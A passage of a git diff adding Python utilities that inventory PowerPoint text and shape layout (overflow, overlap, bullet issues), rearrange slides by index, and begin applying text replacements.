traceback.print_exc() + sys.exit(1) + + +@dataclass +class ShapeWithPosition: + """A shape with its absolute position on the slide.""" + + shape: BaseShape + absolute_left: int # in EMUs + absolute_top: int # in EMUs + + +class ParagraphData: + """Data structure for paragraph properties extracted from a PowerPoint paragraph.""" + + def __init__(self, paragraph: Any): + """Initialize from a PowerPoint paragraph object. + + Args: + paragraph: The PowerPoint paragraph object + """ + self.text: str = paragraph.text.strip() + self.bullet: bool = False + self.level: Optional[int] = None + self.alignment: Optional[str] = None + self.space_before: Optional[float] = None + self.space_after: Optional[float] = None + self.font_name: Optional[str] = None + self.font_size: Optional[float] = None + self.bold: Optional[bool] = None + self.italic: Optional[bool] = None + self.underline: Optional[bool] = None + self.color: Optional[str] = None + self.theme_color: Optional[str] = None + self.line_spacing: Optional[float] = None + + # Check for bullet formatting + if ( + hasattr(paragraph, "_p") + and paragraph._p is not None + and paragraph._p.pPr is not None + ): + pPr = paragraph._p.pPr + ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}" + if ( + pPr.find(f"{ns}buChar") is not None + or pPr.find(f"{ns}buAutoNum") is not None + ): + self.bullet = True + if hasattr(paragraph, "level"): + self.level = paragraph.level + + # Add alignment if not LEFT (default) + if hasattr(paragraph, "alignment") and paragraph.alignment is not None: + alignment_map = { + PP_ALIGN.CENTER: "CENTER", + PP_ALIGN.RIGHT: "RIGHT", + PP_ALIGN.JUSTIFY: "JUSTIFY", + } + if paragraph.alignment in alignment_map: + self.alignment = alignment_map[paragraph.alignment] + + # Add spacing properties if set + if hasattr(paragraph, "space_before") and paragraph.space_before: + self.space_before = paragraph.space_before.pt + if hasattr(paragraph, "space_after") and paragraph.space_after: + self.space_after = paragraph.space_after.pt + + # Extract font properties from first run + if paragraph.runs: + first_run = paragraph.runs[0] + if hasattr(first_run, "font"): + font = first_run.font + if font.name: + self.font_name = font.name + if font.size: + self.font_size = font.size.pt + if font.bold is not None: + self.bold = font.bold + if font.italic is not None: + self.italic = font.italic + if font.underline is not None: + self.underline = font.underline + + # Handle color - both RGB and theme colors + try: + # Try RGB color first + if font.color.rgb: + self.color = str(font.color.rgb) + except (AttributeError, TypeError): + # Fall back to theme color + try: + if font.color.theme_color: + self.theme_color = font.color.theme_color.name + except (AttributeError, TypeError): + pass + + # Add line spacing if set + if hasattr(paragraph, "line_spacing") and paragraph.line_spacing is not None: + if hasattr(paragraph.line_spacing, "pt"): + self.line_spacing = round(paragraph.line_spacing.pt, 2) + else: + # Multiplier - convert to points + font_size = self.font_size if self.font_size else 12.0 + self.line_spacing = round(paragraph.line_spacing * font_size, 2) + + def to_dict(self) -> ParagraphDict: + """Convert to dictionary for JSON serialization, excluding None values.""" + result: ParagraphDict = {"text": self.text} + + # Add optional fields only if they have values + if self.bullet: + result["bullet"] = self.bullet + if self.level is not None: + result["level"] = self.level + if self.alignment: + result["alignment"] = self.alignment + if self.space_before is not None: + result["space_before"] = self.space_before + if self.space_after is not None: + result["space_after"] = self.space_after + if self.font_name: + result["font_name"] = self.font_name + if self.font_size is not None: + result["font_size"] = self.font_size + if self.bold is not None: + result["bold"] = self.bold + if self.italic is not None: + result["italic"] = self.italic + if self.underline is not None: + result["underline"] = self.underline + if self.color: + result["color"] = self.color + if self.theme_color: + result["theme_color"] = self.theme_color + if self.line_spacing is not None: + result["line_spacing"] = self.line_spacing + + return result + + +class ShapeData: + """Data structure for shape properties extracted from a PowerPoint shape.""" + + @staticmethod + def emu_to_inches(emu: int) -> float: + """Convert EMUs (English Metric Units) to inches.""" + return emu / 914400.0 + + @staticmethod + def inches_to_pixels(inches: float, dpi: int = 96) -> int: + """Convert inches to pixels at given DPI.""" + return int(inches * dpi) + + @staticmethod + def get_font_path(font_name: str) -> Optional[str]: + """Get the font file path for a given font name. + + Args: + font_name: Name of the font (e.g., 'Arial', 'Calibri') + + Returns: + Path to the font file, or None if not found + """ + system = platform.system() + + # Common font file variations to try + font_variations = [ + font_name, + font_name.lower(), + font_name.replace(" ", ""), + font_name.replace(" ", "-"), + ] + + # Define font directories and extensions by platform + if system == "Darwin": # macOS + font_dirs = [ + "/System/Library/Fonts/", + "/Library/Fonts/", + "~/Library/Fonts/", + ] + extensions = [".ttf", ".otf", ".ttc", ".dfont"] + else: # Linux + font_dirs = [ + "/usr/share/fonts/truetype/", + "/usr/local/share/fonts/", + "~/.fonts/", + ] + extensions = [".ttf", ".otf"] + + # Try to find the font file + from pathlib import Path + + for font_dir in font_dirs: + font_dir_path = Path(font_dir).expanduser() + if not font_dir_path.exists(): + continue + + # First try exact matches + for variant in font_variations: + for ext in extensions: + font_path = font_dir_path / f"{variant}{ext}" + if font_path.exists(): + return str(font_path) + + # Then try fuzzy matching - find files containing the font name + try: + for file_path in font_dir_path.iterdir(): + if file_path.is_file(): + file_name_lower = file_path.name.lower() + font_name_lower = font_name.lower().replace(" ", "") + if font_name_lower in file_name_lower and any( + file_name_lower.endswith(ext) for ext in extensions + ): + return str(file_path) + except (OSError, PermissionError): + continue + + return None + + @staticmethod + def get_slide_dimensions(slide: Any) -> tuple[Optional[int], Optional[int]]: + """Get slide dimensions from slide object. + + Args: + slide: Slide object + + Returns: + Tuple of (width_emu, height_emu) or (None, None) if not found + """ + try: + prs = slide.part.package.presentation_part.presentation + return prs.slide_width, prs.slide_height + except (AttributeError, TypeError): + return None, None + + @staticmethod + def get_default_font_size(shape: BaseShape, slide_layout: Any) -> Optional[float]: + """Extract default font size from slide layout for a placeholder shape. + + Args: + shape: Placeholder shape + slide_layout: Slide layout containing the placeholder definition + + Returns: + Default font size in points, or None if not found + """ + try: + if not hasattr(shape, "placeholder_format"): + return None + + shape_type = shape.placeholder_format.type # type: ignore + for layout_placeholder in slide_layout.placeholders: + if layout_placeholder.placeholder_format.type == shape_type: + # Find first defRPr element with sz (size) attribute + for elem in layout_placeholder.element.iter(): + if "defRPr" in elem.tag and (sz := elem.get("sz")): + return float(sz) / 100.0 # Convert EMUs to points + break + except Exception: + pass + return None + + def __init__( + self, + shape: BaseShape, + absolute_left: Optional[int] = None, + absolute_top: Optional[int] = None, + slide: Optional[Any] = None, + ): + """Initialize from a PowerPoint shape object. + + Args: + shape: The PowerPoint shape object (should be pre-validated) + absolute_left: Absolute left position in EMUs (for shapes in groups) + absolute_top: Absolute top position in EMUs (for shapes in groups) + slide: Optional slide object to get dimensions and layout information + """ + self.shape = shape # Store reference to original shape + self.shape_id: str = "" # Will be set after sorting + + # Get slide dimensions from slide object + self.slide_width_emu, self.slide_height_emu = ( + self.get_slide_dimensions(slide) if slide else (None, None) + ) + + # Get placeholder type if applicable + self.placeholder_type: Optional[str] = None + self.default_font_size: Optional[float] = None + if hasattr(shape, "is_placeholder") and shape.is_placeholder: # type: ignore + if shape.placeholder_format and shape.placeholder_format.type: # type: ignore + self.placeholder_type = ( + str(shape.placeholder_format.type).split(".")[-1].split(" ")[0] # type: ignore + ) + + # Get default font size from layout + if slide and hasattr(slide, "slide_layout"): + self.default_font_size = self.get_default_font_size( + shape, slide.slide_layout + ) + + # Get position information + # Use absolute positions if provided (for shapes in groups), otherwise use shape's position + left_emu = ( + absolute_left + if absolute_left is not None + else (shape.left if hasattr(shape, "left") else 0) + ) + top_emu = ( + absolute_top + if absolute_top is not None + else (shape.top if hasattr(shape, "top") else 0) + ) + + self.left: float = round(self.emu_to_inches(left_emu), 2) # type: ignore + self.top: float = round(self.emu_to_inches(top_emu), 2) # type: ignore + self.width: float = round( + self.emu_to_inches(shape.width if hasattr(shape, "width") else 0), + 2, # type: ignore + ) + self.height: float = round( + self.emu_to_inches(shape.height if hasattr(shape, "height") else 0), + 2, # type: ignore + ) + + # Store EMU positions for overflow calculations + self.left_emu = left_emu + self.top_emu = top_emu + self.width_emu = shape.width if hasattr(shape, "width") else 0 + self.height_emu = shape.height if hasattr(shape, "height") else 0 + + # Calculate overflow status + self.frame_overflow_bottom: Optional[float] = None + self.slide_overflow_right: Optional[float] = None + self.slide_overflow_bottom: Optional[float] = None + self.overlapping_shapes: Dict[ + str, float + ] = {} # Dict of shape_id -> overlap area in sq inches + self.warnings: List[str] = [] + self._estimate_frame_overflow() + self._calculate_slide_overflow() + self._detect_bullet_issues() + + @property + def paragraphs(self) -> List[ParagraphData]: + """Calculate paragraphs from the shape's text frame.""" + if not self.shape or not hasattr(self.shape, "text_frame"): + return [] + + paragraphs = [] + for paragraph in self.shape.text_frame.paragraphs: # type: ignore + if paragraph.text.strip(): + paragraphs.append(ParagraphData(paragraph)) + return paragraphs + + def _get_default_font_size(self) -> int: + """Get default font size from theme text styles or use conservative default.""" + try: + if not ( + hasattr(self.shape, "part") and hasattr(self.shape.part, "slide_layout") + ): + return 14 + + slide_master = self.shape.part.slide_layout.slide_master # type: ignore + if not hasattr(slide_master, "element"): + return 14 + + # Determine theme style based on placeholder type + style_name = "bodyStyle" # Default + if self.placeholder_type and "TITLE" in self.placeholder_type: + style_name = "titleStyle" + + # Find font size in theme styles + for child in slide_master.element.iter(): + tag = child.tag.split("}")[-1] if "}" in child.tag else child.tag + if tag == style_name: + for elem in child.iter(): + if "sz" in elem.attrib: + return int(elem.attrib["sz"]) // 100 + except Exception: + pass + + return 14 # Conservative default for body text + + def _get_usable_dimensions(self, text_frame) -> Tuple[int, int]: + """Get usable width and height in pixels after accounting for margins.""" + # Default PowerPoint margins in inches + margins = {"top": 0.05, "bottom": 0.05, "left": 0.1, "right": 0.1} + + # Override with actual margins if set + if hasattr(text_frame, "margin_top") and text_frame.margin_top: + margins["top"] = self.emu_to_inches(text_frame.margin_top) + if hasattr(text_frame, "margin_bottom") and text_frame.margin_bottom: + margins["bottom"] = self.emu_to_inches(text_frame.margin_bottom) + if hasattr(text_frame, "margin_left") and text_frame.margin_left: + margins["left"] = self.emu_to_inches(text_frame.margin_left) + if hasattr(text_frame, "margin_right") and text_frame.margin_right: + margins["right"] = self.emu_to_inches(text_frame.margin_right) + + # Calculate usable area + usable_width = self.width - margins["left"] - margins["right"] + usable_height = self.height - margins["top"] - margins["bottom"] + + # Convert to pixels + return ( + self.inches_to_pixels(usable_width), + self.inches_to_pixels(usable_height), + ) + + def _wrap_text_line(self, line: str, max_width_px: int, draw, font) -> List[str]: + """Wrap a single line of text to fit within max_width_px.""" + if not line: + return [""] + + # Use textlength for efficient width calculation + if draw.textlength(line, font=font) <= max_width_px: + return [line] + + # Need to wrap - split into words + wrapped = [] + words = line.split(" ") + current_line = "" + + for word in words: + test_line = current_line + (" " if current_line else "") + word + if draw.textlength(test_line, font=font) <= max_width_px: + current_line = test_line + else: + if current_line: + wrapped.append(current_line) + current_line = word + + if current_line: + wrapped.append(current_line) + + return wrapped + + def _estimate_frame_overflow(self) -> None: + """Estimate if text overflows the shape bounds using PIL text measurement.""" + if not self.shape or not hasattr(self.shape, "text_frame"): + return + + text_frame = self.shape.text_frame # type: ignore + if not text_frame or not text_frame.paragraphs: + return + + # Get usable dimensions after accounting for margins + usable_width_px, usable_height_px = self._get_usable_dimensions(text_frame) + if usable_width_px <= 0 or usable_height_px <= 0: + return + + # Set up PIL for text measurement + dummy_img = Image.new("RGB", (1, 1)) + draw = ImageDraw.Draw(dummy_img) + + # Get default font size from placeholder or use conservative estimate + default_font_size = self._get_default_font_size() + + # Calculate total height of all paragraphs + total_height_px = 0 + + for para_idx, paragraph in enumerate(text_frame.paragraphs): + if not paragraph.text.strip(): + continue + + para_data = ParagraphData(paragraph) + + # Load font for this paragraph + font_name = para_data.font_name or "Arial" + font_size = int(para_data.font_size or default_font_size) + + font = None + font_path = self.get_font_path(font_name) + if font_path: + try: + font = ImageFont.truetype(font_path, size=font_size) + except Exception: + font = ImageFont.load_default() + else: + font = ImageFont.load_default() + + # Wrap all lines in this paragraph + all_wrapped_lines = [] + for line in paragraph.text.split("\n"): + wrapped = self._wrap_text_line(line, usable_width_px, draw, font) + all_wrapped_lines.extend(wrapped) + + if all_wrapped_lines: + # Calculate line height + if para_data.line_spacing: + # Custom line spacing explicitly set + line_height_px = para_data.line_spacing * 96 / 72 + else: + # PowerPoint default single spacing (1.0x font size) + line_height_px = font_size * 96 / 72 + + # Add space_before (except first paragraph) + if para_idx > 0 and para_data.space_before: + total_height_px += para_data.space_before * 96 / 72 + + # Add paragraph text height + total_height_px += len(all_wrapped_lines) * line_height_px + + # Add space_after + if para_data.space_after: + total_height_px += para_data.space_after * 96 / 72 + + # Check for overflow (ignore negligible overflows <= 0.05") + if total_height_px > usable_height_px: + overflow_px = total_height_px - usable_height_px + overflow_inches = round(overflow_px / 96.0, 2) + if overflow_inches > 0.05: # Only report significant overflows + self.frame_overflow_bottom = overflow_inches + + def _calculate_slide_overflow(self) -> None: + """Calculate if shape overflows the slide boundaries.""" + if self.slide_width_emu is None or self.slide_height_emu is None: + return + + # Check right overflow (ignore negligible overflows <= 0.01") + right_edge_emu = self.left_emu + self.width_emu + if right_edge_emu > self.slide_width_emu: + overflow_emu = right_edge_emu - self.slide_width_emu + overflow_inches = round(self.emu_to_inches(overflow_emu), 2) + if overflow_inches > 0.01: # Only report significant overflows + self.slide_overflow_right = overflow_inches + + # Check bottom overflow (ignore negligible overflows <= 0.01") + bottom_edge_emu = self.top_emu + self.height_emu + if bottom_edge_emu > self.slide_height_emu: + overflow_emu = bottom_edge_emu - self.slide_height_emu + overflow_inches = round(self.emu_to_inches(overflow_emu), 2) + if overflow_inches > 0.01: # Only report significant overflows + self.slide_overflow_bottom = overflow_inches + + def _detect_bullet_issues(self) -> None: + """Detect bullet point formatting issues in paragraphs.""" + if not self.shape or not hasattr(self.shape, "text_frame"): + return + + text_frame = self.shape.text_frame # type: ignore + if not text_frame or not text_frame.paragraphs: + return + + # Common bullet symbols that indicate manual bullets + bullet_symbols = ["•", "●", "○"] + + for paragraph in text_frame.paragraphs: + text = paragraph.text.strip() + # Check for manual bullet symbols + if text and any(text.startswith(symbol + " ") for symbol in bullet_symbols): + self.warnings.append( + "manual_bullet_symbol: use proper bullet formatting" + ) + break + + @property + def has_any_issues(self) -> bool: + """Check if shape has any issues (overflow, overlap, or warnings).""" + return ( + self.frame_overflow_bottom is not None + or self.slide_overflow_right is not None + or self.slide_overflow_bottom is not None + or len(self.overlapping_shapes) > 0 + or len(self.warnings) > 0 + ) + + def to_dict(self) -> ShapeDict: + """Convert to dictionary for JSON serialization.""" + result: ShapeDict = { + "left": self.left, + "top": self.top, + "width": self.width, + "height": self.height, + } + + # Add optional fields if present + if self.placeholder_type: + result["placeholder_type"] = self.placeholder_type + + if self.default_font_size: + result["default_font_size"] = self.default_font_size + + # Add overflow information only if there is overflow + overflow_data = {} + + # Add frame overflow if present + if self.frame_overflow_bottom is not None: + overflow_data["frame"] = {"overflow_bottom": self.frame_overflow_bottom} + + # Add slide overflow if present + slide_overflow = {} + if self.slide_overflow_right is not None: + slide_overflow["overflow_right"] = self.slide_overflow_right + if self.slide_overflow_bottom is not None: + slide_overflow["overflow_bottom"] = self.slide_overflow_bottom + if slide_overflow: + overflow_data["slide"] = slide_overflow + + # Only add overflow field if there is overflow + if overflow_data: + result["overflow"] = overflow_data + + # Add overlap field if there are overlapping shapes + if self.overlapping_shapes: + result["overlap"] = {"overlapping_shapes": self.overlapping_shapes} + + # Add warnings field if there are warnings + if self.warnings: + result["warnings"] = self.warnings + + # Add paragraphs after placeholder_type + result["paragraphs"] = [para.to_dict() for para in self.paragraphs] + + return result + + +def is_valid_shape(shape: BaseShape) -> bool: + """Check if a shape contains meaningful text content.""" + # Must have a text frame with content + if not hasattr(shape, "text_frame") or not shape.text_frame: # type: ignore + return False + + text = shape.text_frame.text.strip() # type: ignore + if not text: + return False + + # Skip slide numbers and numeric footers + if hasattr(shape, "is_placeholder") and shape.is_placeholder: # type: ignore + if shape.placeholder_format and shape.placeholder_format.type: # type: ignore + placeholder_type = ( + str(shape.placeholder_format.type).split(".")[-1].split(" ")[0] # type: ignore + ) + if placeholder_type == "SLIDE_NUMBER": + return False + if placeholder_type == "FOOTER" and text.isdigit(): + return False + + return True + + +def collect_shapes_with_absolute_positions( + shape: BaseShape, parent_left: int = 0, parent_top: int = 0 +) -> List[ShapeWithPosition]: + """Recursively collect all shapes with valid text, calculating absolute positions. + + For shapes within groups, their positions are relative to the group. + This function calculates the absolute position on the slide by accumulating + parent group offsets. + + Args: + shape: The shape to process + parent_left: Accumulated left offset from parent groups (in EMUs) + parent_top: Accumulated top offset from parent groups (in EMUs) + + Returns: + List of ShapeWithPosition objects with absolute positions + """ + if hasattr(shape, "shapes"): # GroupShape + result = [] + # Get this group's position + group_left = shape.left if hasattr(shape, "left") else 0 + group_top = shape.top if hasattr(shape, "top") else 0 + + # Calculate absolute position for this group + abs_group_left = parent_left + group_left + abs_group_top = parent_top + group_top + + # Process children with accumulated offsets + for child in shape.shapes: # type: ignore + result.extend( + collect_shapes_with_absolute_positions( + child, abs_group_left, abs_group_top + ) + ) + return result + + # Regular shape - check if it has valid text + if is_valid_shape(shape): + # Calculate absolute position + shape_left = shape.left if hasattr(shape, "left") else 0 + shape_top = shape.top if hasattr(shape, "top") else 0 + + return [ + ShapeWithPosition( + shape=shape, + absolute_left=parent_left + shape_left, + absolute_top=parent_top + shape_top, + ) + ] + + return [] + + +def sort_shapes_by_position(shapes: List[ShapeData]) -> List[ShapeData]: + """Sort shapes by visual position (top-to-bottom, left-to-right). + + Shapes within 0.5 inches vertically are considered on the same row. + """ + if not shapes: + return shapes + + # Sort by top position first + shapes = sorted(shapes, key=lambda s: (s.top, s.left)) + + # Group shapes by row (within 0.5 inches vertically) + result = [] + row = [shapes[0]] + row_top = shapes[0].top + + for shape in shapes[1:]: + if abs(shape.top - row_top) <= 0.5: + row.append(shape) + else: + # Sort current row by left position and add to result + result.extend(sorted(row, key=lambda s: s.left)) + row = [shape] + row_top = shape.top + + # Don't forget the last row + result.extend(sorted(row, key=lambda s: s.left)) + return result + + +def calculate_overlap( + rect1: Tuple[float, float, float, float], + rect2: Tuple[float, float, float, float], + tolerance: float = 0.05, +) -> Tuple[bool, float]: + """Calculate if and how much two rectangles overlap. + + Args: + rect1: (left, top, width, height) of first rectangle in inches + rect2: (left, top, width, height) of second rectangle in inches + tolerance: Minimum overlap in inches to consider as overlapping (default: 0.05") + + Returns: + Tuple of (overlaps, overlap_area) where: + - overlaps: True if rectangles overlap by more than tolerance + - overlap_area: Area of overlap in square inches + """ + left1, top1, w1, h1 = rect1 + left2, top2, w2, h2 = rect2 + + # Calculate overlap dimensions + overlap_width = min(left1 + w1, left2 + w2) - max(left1, left2) + overlap_height = min(top1 + h1, top2 + h2) - max(top1, top2) + + # Check if there's meaningful overlap (more than tolerance) + if overlap_width > tolerance and overlap_height > tolerance: + # Calculate overlap area in square inches + overlap_area = overlap_width * overlap_height + return True, round(overlap_area, 2) + + return False, 0 + + +def detect_overlaps(shapes: List[ShapeData]) -> None: + """Detect overlapping shapes and update their overlapping_shapes dictionaries. + + This function requires each ShapeData to have its shape_id already set. + It modifies the shapes in-place, adding shape IDs with overlap areas in square inches. + + Args: + shapes: List of ShapeData objects with shape_id attributes set + """ + n = len(shapes) + + # Compare each pair of shapes + for i in range(n): + for j in range(i + 1, n): + shape1 = shapes[i] + shape2 = shapes[j] + + # Ensure shape IDs are set + assert shape1.shape_id, f"Shape at index {i} has no shape_id" + assert shape2.shape_id, f"Shape at index {j} has no shape_id" + + rect1 = (shape1.left, shape1.top, shape1.width, shape1.height) + rect2 = (shape2.left, shape2.top, shape2.width, shape2.height) + + overlaps, overlap_area = calculate_overlap(rect1, rect2) + + if overlaps: + # Add shape IDs with overlap area in square inches + shape1.overlapping_shapes[shape2.shape_id] = overlap_area + shape2.overlapping_shapes[shape1.shape_id] = overlap_area + + +def extract_text_inventory( + pptx_path: Path, prs: Optional[Any] = None, issues_only: bool = False +) -> InventoryData: + """Extract text content from all slides in a PowerPoint presentation. + + Args: + pptx_path: Path to the PowerPoint file + prs: Optional Presentation object to use. If not provided, will load from pptx_path. + issues_only: If True, only include shapes that have overflow or overlap issues + + Returns a nested dictionary: {slide-N: {shape-N: ShapeData}} + Shapes are sorted by visual position (top-to-bottom, left-to-right). + The ShapeData objects contain the full shape information and can be + converted to dictionaries for JSON serialization using to_dict(). + """ + if prs is None: + prs = Presentation(str(pptx_path)) + inventory: InventoryData = {} + + for slide_idx, slide in enumerate(prs.slides): + # Collect all valid shapes from this slide with absolute positions + shapes_with_positions = [] + for shape in slide.shapes: # type: ignore + shapes_with_positions.extend(collect_shapes_with_absolute_positions(shape)) + + if not shapes_with_positions: + continue + + # Convert to ShapeData with absolute positions and slide reference + shape_data_list = [ + ShapeData( + swp.shape, + swp.absolute_left, + swp.absolute_top, + slide, + ) + for swp in shapes_with_positions + ] + + # Sort by visual position and assign stable IDs in one step + sorted_shapes = sort_shapes_by_position(shape_data_list) + for idx, shape_data in enumerate(sorted_shapes): + shape_data.shape_id = f"shape-{idx}" + + # Detect overlaps using the stable shape IDs + if len(sorted_shapes) > 1: + detect_overlaps(sorted_shapes) + + # Filter for issues only if requested (after overlap detection) + if issues_only: + sorted_shapes = [sd for sd in sorted_shapes if sd.has_any_issues] + + if not sorted_shapes: + continue + + # Create slide inventory using the stable shape IDs + inventory[f"slide-{slide_idx}"] = { + shape_data.shape_id: shape_data for shape_data in sorted_shapes + } + + return inventory + + +def get_inventory_as_dict(pptx_path: Path, issues_only: bool = False) -> InventoryDict: + """Extract text inventory and return as JSON-serializable dictionaries. + + This is a convenience wrapper around extract_text_inventory that returns + dictionaries instead of ShapeData objects, useful for testing and direct + JSON serialization. + + Args: + pptx_path: Path to the PowerPoint file + issues_only: If True, only include shapes that have overflow or overlap issues + + Returns: + Nested dictionary with all data serialized for JSON + """ + inventory = extract_text_inventory(pptx_path, issues_only=issues_only) + + # Convert ShapeData objects to dictionaries + dict_inventory: InventoryDict = {} + for slide_key, shapes in inventory.items(): + dict_inventory[slide_key] = { + shape_key: shape_data.to_dict() for shape_key, shape_data in shapes.items() + } + + return dict_inventory + + +def save_inventory(inventory: InventoryData, output_path: Path) -> None: + """Save inventory to JSON file with proper formatting. + + Converts ShapeData objects to dictionaries for JSON serialization. + """ + # Convert ShapeData objects to dictionaries + json_inventory: InventoryDict = {} + for slide_key, shapes in inventory.items(): + json_inventory[slide_key] = { + shape_key: shape_data.to_dict() for shape_key, shape_data in shapes.items() + } + + with open(output_path, "w", encoding="utf-8") as f: + json.dump(json_inventory, f, indent=2, ensure_ascii=False) + + +if __name__ == "__main__": + main() diff --git a/skills/pptx/scripts/rearrange.py b/skills/pptx/scripts/rearrange.py new file mode 100755 index 00000000..2519911f --- /dev/null +++ b/skills/pptx/scripts/rearrange.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +""" +Rearrange PowerPoint slides based on a sequence of indices. + +Usage: + python rearrange.py template.pptx output.pptx 0,34,34,50,52 + +This will create output.pptx using slides from template.pptx in the specified order. +Slides can be repeated (e.g., 34 appears twice). +""" + +import argparse +import shutil +import sys +from copy import deepcopy +from pathlib import Path + +import six +from pptx import Presentation + + +def main(): + parser = argparse.ArgumentParser( + description="Rearrange PowerPoint slides based on a sequence of indices.", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + python rearrange.py template.pptx output.pptx 0,34,34,50,52 + Creates output.pptx using slides 0, 34 (twice), 50, and 52 from template.pptx + + python rearrange.py template.pptx output.pptx 5,3,1,2,4 + Creates output.pptx with slides reordered as specified + +Note: Slide indices are 0-based (first slide is 0, second is 1, etc.) + """, + ) + + parser.add_argument("template", help="Path to template PPTX file") + parser.add_argument("output", help="Path for output PPTX file") + parser.add_argument( + "sequence", help="Comma-separated sequence of slide indices (0-based)" + ) + + args = parser.parse_args() + + # Parse the slide sequence + try: + slide_sequence = [int(x.strip()) for x in args.sequence.split(",")] + except ValueError: + print( + "Error: Invalid sequence format. Use comma-separated integers (e.g., 0,34,34,50,52)" + ) + sys.exit(1) + + # Check template exists + template_path = Path(args.template) + if not template_path.exists(): + print(f"Error: Template file not found: {args.template}") + sys.exit(1) + + # Create output directory if needed + output_path = Path(args.output) + output_path.parent.mkdir(parents=True, exist_ok=True) + + try: + rearrange_presentation(template_path, output_path, slide_sequence) + except ValueError as e: + print(f"Error: {e}") + sys.exit(1) + except Exception as e: + print(f"Error processing presentation: {e}") + sys.exit(1) + + +def duplicate_slide(pres, index): + """Duplicate a slide in the presentation.""" + source = pres.slides[index] + + # Use source's layout to preserve formatting + new_slide = pres.slides.add_slide(source.slide_layout) + + # Collect all image and media relationships from the source slide + image_rels = {} + for rel_id, rel in six.iteritems(source.part.rels): + if "image" in rel.reltype or "media" in rel.reltype: + image_rels[rel_id] = rel + + # CRITICAL: Clear placeholder shapes to avoid duplicates + for shape in new_slide.shapes: + sp = shape.element + sp.getparent().remove(sp) + + # Copy all shapes from source + for shape in source.shapes: + el = shape.element + new_el = deepcopy(el) + new_slide.shapes._spTree.insert_element_before(new_el, "p:extLst") + + # Handle picture shapes - need to update the blip reference + # Look for all blip elements (they can be in pic or other contexts) + # Using the element's own xpath method without namespaces argument + blips = new_el.xpath(".//a:blip[@r:embed]") + for blip in blips: + old_rId = blip.get( + "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" + ) + if old_rId in image_rels: + # Create a new relationship in the destination slide for this image + old_rel = image_rels[old_rId] + # get_or_add returns the rId directly, or adds and returns new rId + new_rId = new_slide.part.rels.get_or_add( + old_rel.reltype, old_rel._target + ) + # Update the blip's embed reference to use the new relationship ID + blip.set( + "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed", + new_rId, + ) + + # Copy any additional image/media relationships that might be referenced elsewhere + for rel_id, rel in image_rels.items(): + try: + new_slide.part.rels.get_or_add(rel.reltype, rel._target) + except Exception: + pass # Relationship might already exist + + return new_slide + + +def delete_slide(pres, index): + """Delete a slide from the presentation.""" + rId = pres.slides._sldIdLst[index].rId + pres.part.drop_rel(rId) + del pres.slides._sldIdLst[index] + + +def reorder_slides(pres, slide_index, target_index): + """Move a slide from one position to another.""" + slides = pres.slides._sldIdLst + + # Remove slide element from current position + slide_element = slides[slide_index] + slides.remove(slide_element) + + # Insert at target position + slides.insert(target_index, slide_element) + + +def rearrange_presentation(template_path, output_path, slide_sequence): + """ + Create a new presentation with slides from template in specified order. + + Args: + template_path: Path to template PPTX file + output_path: Path for output PPTX file + slide_sequence: List of slide indices (0-based) to include + """ + # Copy template to preserve dimensions and theme + if template_path != output_path: + shutil.copy2(template_path, output_path) + prs = Presentation(output_path) + else: + prs = Presentation(template_path) + + total_slides = len(prs.slides) + + # Validate indices + for idx in slide_sequence: + if idx < 0 or idx >= total_slides: + raise ValueError(f"Slide index {idx} out of range (0-{total_slides - 1})") + + # Track original slides and their duplicates + slide_map = [] # List of actual slide indices for final presentation + duplicated = {} # Track duplicates: original_idx -> [duplicate_indices] + + # Step 1: DUPLICATE repeated slides + print(f"Processing {len(slide_sequence)} slides from template...") + for i, template_idx in enumerate(slide_sequence): + if template_idx in duplicated and duplicated[template_idx]: + # Already duplicated this slide, use the duplicate + slide_map.append(duplicated[template_idx].pop(0)) + print(f" [{i}] Using duplicate of slide {template_idx}") + elif slide_sequence.count(template_idx) > 1 and template_idx not in duplicated: + # First occurrence of a repeated slide - create duplicates + slide_map.append(template_idx) + duplicates = [] + count = slide_sequence.count(template_idx) - 1 + print( + f" [{i}] Using original slide {template_idx}, creating {count} duplicate(s)" + ) + for _ in range(count): + duplicate_slide(prs, template_idx) + duplicates.append(len(prs.slides) - 1) + duplicated[template_idx] = duplicates + else: + # Unique slide or first occurrence already handled, use original + slide_map.append(template_idx) + print(f" [{i}] Using original slide {template_idx}") + + # Step 2: DELETE unwanted slides (work backwards) + slides_to_keep = set(slide_map) + print(f"\nDeleting {len(prs.slides) - len(slides_to_keep)} unused slides...") + for i in range(len(prs.slides) - 1, -1, -1): + if i not in slides_to_keep: + delete_slide(prs, i) + # Update slide_map indices after deletion + slide_map = [idx - 1 if idx > i else idx for idx in slide_map] + + # Step 3: REORDER to final sequence + print(f"Reordering {len(slide_map)} slides to final sequence...") + for target_pos in range(len(slide_map)): + # Find which slide should be at target_pos + current_pos = slide_map[target_pos] + if current_pos != target_pos: + reorder_slides(prs, current_pos, target_pos) + # Update slide_map: the move shifts other slides + for i in range(len(slide_map)): + if slide_map[i] > current_pos and slide_map[i] <= target_pos: + slide_map[i] -= 1 + elif slide_map[i] < current_pos and slide_map[i] >= target_pos: + slide_map[i] += 1 + slide_map[target_pos] = target_pos + + # Save the presentation + prs.save(output_path) + print(f"\nSaved rearranged presentation to: {output_path}") + print(f"Final presentation has {len(prs.slides)} slides") + + +if __name__ == "__main__": + main() diff --git a/skills/pptx/scripts/replace.py b/skills/pptx/scripts/replace.py new file mode 100755 index 00000000..8f7a8b1b --- /dev/null +++ b/skills/pptx/scripts/replace.py @@ -0,0 +1,385 @@ +#!/usr/bin/env python3 +"""Apply text replacements to PowerPoint presentation. + +Usage: + python replace.py <input.pptx> <replacements.json> <output.pptx> + +The replacements JSON should have the structure output by inventory.py. +ALL text shapes identified by inventory.py will have their text cleared +unless "paragraphs" is specified in the replacements for that shape. +""" + +import json +import sys +from pathlib import Path +from typing import Any, Dict, List + +from inventory import InventoryData, extract_text_inventory +from pptx import Presentation +from pptx.dml.color import RGBColor +from pptx.enum.dml import MSO_THEME_COLOR +from pptx.enum.text import PP_ALIGN +from pptx.oxml.xmlchemy import OxmlElement +from pptx.util import Pt + + +def clear_paragraph_bullets(paragraph): + """Clear bullet formatting from a paragraph.""" + pPr = paragraph._element.get_or_add_pPr() + + # Remove existing bullet elements + for child in list(pPr): + if ( + child.tag.endswith("buChar") + or child.tag.endswith("buNone") + or child.tag.endswith("buAutoNum") + or child.tag.endswith("buFont") + ): + 